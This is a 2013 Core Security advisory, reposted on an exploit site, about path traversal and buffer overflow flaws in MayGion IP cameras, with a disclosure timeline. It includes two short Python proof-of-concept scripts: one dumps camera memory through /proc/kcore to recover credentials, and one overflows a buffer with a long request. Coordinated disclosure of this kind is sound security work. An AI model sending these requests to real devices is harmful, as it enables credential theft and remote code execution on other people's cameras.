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MayGion IP Camera Path Traversal / Buffer Overflow

MayGion IP Camera Path Traversal / Buffer Overflow
Posted May 28, 2013
Authored by Core Security Technologies | Site coresecurity.com

Core Security Technologies Advisory - MayGion IP cameras suffer from path traversal and buffer overflow vulnerabilities.

tags | exploit, overflow, vulnerability
advisories | CVE-2013-1604, CVE-2013-1605
MD5 | f611d0febd66099704178b71f51b7e29

MayGion IP Camera Path Traversal / Buffer Overflow

Change Mirror Download
Core Security - Corelabs Advisory

MayGion IP Cameras multiple vulnerabilities

1. *Advisory Information*

Title: MayGion IP Cameras multiple vulnerabilities
Advisory ID: CORE-2013-0322
Advisory URL:
Date published: 2013-05-28
Date of last update: 2013-05-28
Vendors contacted: MayGion
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Path traversal [CWE-22], Buffer overflow [CWE-119]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1604, CVE-2013-1605

3. *Vulnerability Description*

Multiple vulnerabilities have been found in MayGion IP cameras [1] based
on firmware v09.27 and below, that could allow an unauthenticated remote

1. [CVE-2013-1604] to dump the camera's memory and retrieve user
2. [CVE-2013-1605] to execute arbitrary code.

4. *Vulnerable Packages*

. MayGion IP cameras based on firmware 2011.27.09.
. Other firmware versions are probably affected too but they were not

5. *Non-Vulnerable Packages*

. H.264 ipcam firmware 2013.04.22.

6. *Credits*

These vulnerabilities were discovered and researched by Nahuel Riva and
Francisco Falcon from Core Exploit Writers Team.

7. *Technical Description / Proof of Concept Code*

7.1. *User Credentials Leaked via Path Traversal*

[CVE-2013-1604] The following Python code exploits a path traversal and
dumps the camera's memory. Valid user credentials can be extracted from
this memory dump by an unauthenticated remote attacker.

import httplib

conn = httplib.HTTPConnection("")
conn.request("GET", "/../../../../../../../../../proc/kcore")
resp = conn.getresponse()
data = resp.read()

7.2. *Buffer overflow*

[CVE-2013-1605] The following Python script can be used to trigger the
vulnerability without authentication. As a result, the Instruction
Pointer register (IP) will be overwritten with 0x61616161, which is a
typical buffer overrun condition.

import httplib

conn = httplib.HTTPConnection("")
conn.request("GET", "/" + "A" * 3000 + ".html")
resp = conn.getresponse()
data = resp.read()

8. *Report Timeline*

. 2013-05-02:
Core Security Technologies notifies MayGion of the vulnerabilities.
Publication date is set for May 29th, 2013.

. 2013-05-02:
Vendor asks for a report with technical information.

. 2013-05-03:
A draft advisory containing technical details sent to MayGion team.

. 2013-05-03:
Vendor notifies that all vulnerabilities were fixed in the last firmware
version, released April 22nd, 2013.

. 2013-05-09:
Core asks for a list of affected devices and firmware. No reply received.

. 2013-05-28:
Advisory CORE-2013-0322 is published.

9. *References*

[1] http://www.maygion.com

10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:

12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at

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